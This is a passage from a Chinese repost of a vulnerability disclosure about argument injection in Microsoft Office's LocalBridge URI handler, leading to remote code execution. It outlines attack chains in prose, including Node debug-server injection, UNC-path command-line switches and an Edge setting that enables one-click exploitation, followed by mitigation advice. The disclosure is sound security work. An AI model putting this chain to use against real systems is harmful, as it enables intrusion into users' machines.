    此外，#2 和 #3 可以组合起来启动一个节点调试服务器并注入与这个本地 Web Socket Server 对话的 JS，作为另一种在没有本地网络访问的情况下实现远程代码执行的方法（需要禁用/绕过 SOP 来检索从/json/list)调试 UUID 。

我们还没有完全探索的另一个有趣的攻击向量是特定于应用程序的命令行参数，例如 [1] 中列出的那些。对于 Office 加载项（例如/lWord 中的标志），我们验证了可以指定 UNC 路径位置，但没有进一步调查其影响。

为了实现无交互利用，我们滥用了 Microsoft Edge 中的一个不安全设置，该设置允许通过 JavaScript 导航到任何 URL（具有任何 URI 方案），而无需任何额外的用户确认。从附加的 2_Browser_1click_RCE.mp4 中可以看出，其他浏览器通常会在打开外部 URI 处理程序之前要求用户进行确认。

减轻

如图所示，几个较小的问题对整体影响负有部分责任。此外，仅修复参数注入是不够的。
LocalBridge.exe 处理大量复杂性：

  • 作为源，它接受、解析和验证包含大量信息的 JSON（并且此 JSON 可以根据打开链接的应用程序进行不同的编码）
  • 作为接收器，网桥可以调用大量不同的应用程序[4]，这些应用程序对于具有特定 URI 方案、文件扩展名或特殊字符的 URI 的行为都可能略有出乎意料
  • 潜在恶意filename值的范围很广，涵盖来自各个开发团队的应用程序的实现细节

总的来说，这引入了高攻击面和不一致的可能性。因此，如果可能，我们建议删除此 URI 处理程序并迁移到特定于应用程序的 URI 处理程序（例如“teams:”和“ms-word:”）以打开应用程序。如果可能的话，让 URI 处理程序仅对 Office PWA 应用程序可用也将大大降低风险。

此外，我们建议采取以下措施：

  • 在 AppBridge.dll 中加强文件名验证：
    • 实现一个 URI 方案允许列表（最好只有 http/https）
    • 防止注入额外的参数
  • 改进 Outlook URL 参数处理：
    • 不要在 Outlook UI 中加载网站
    • 遇到X:/“方案”时不要打开本地 URI （file://-URI 已被阻止）。
  • 团队/Skype（可启动的电子应用程序）：
    • 使应用程序即使在 1 个字符的 URI 方案之后也不接受任何附加参数
  • 改进边缘 URI 处理：
    • 在启动外部程序作为 URI 处理程序之前要求用户确认

如果我们可以为您提供任何其他信息，请告诉我们。

披露联系人：

[1] https://support.microsoft.com/en-us/office/command-line-switches-for-microsoft-office-products-079164cd-4ef5-4178-b235-441737deb3a6

[2] https://www.electronjs.org/blog/protocol-handler-fix

[3] https://github.com/electron/electron/blob/master/shell/app/command_line_args.cc#L18-L20

[4] 可启动应用程序列表：Access、Delve、Skype、Teams、Excel、SkypeForBusiness、OfficeLens、OneNote、Outlook、Powerpoint、Project、Publisher、Sway、Visio、Word、Office、Office Hub

from

转载请注明出处及链接

Leave a Reply

您的邮箱地址不会被公开。 必填项已用 * 标注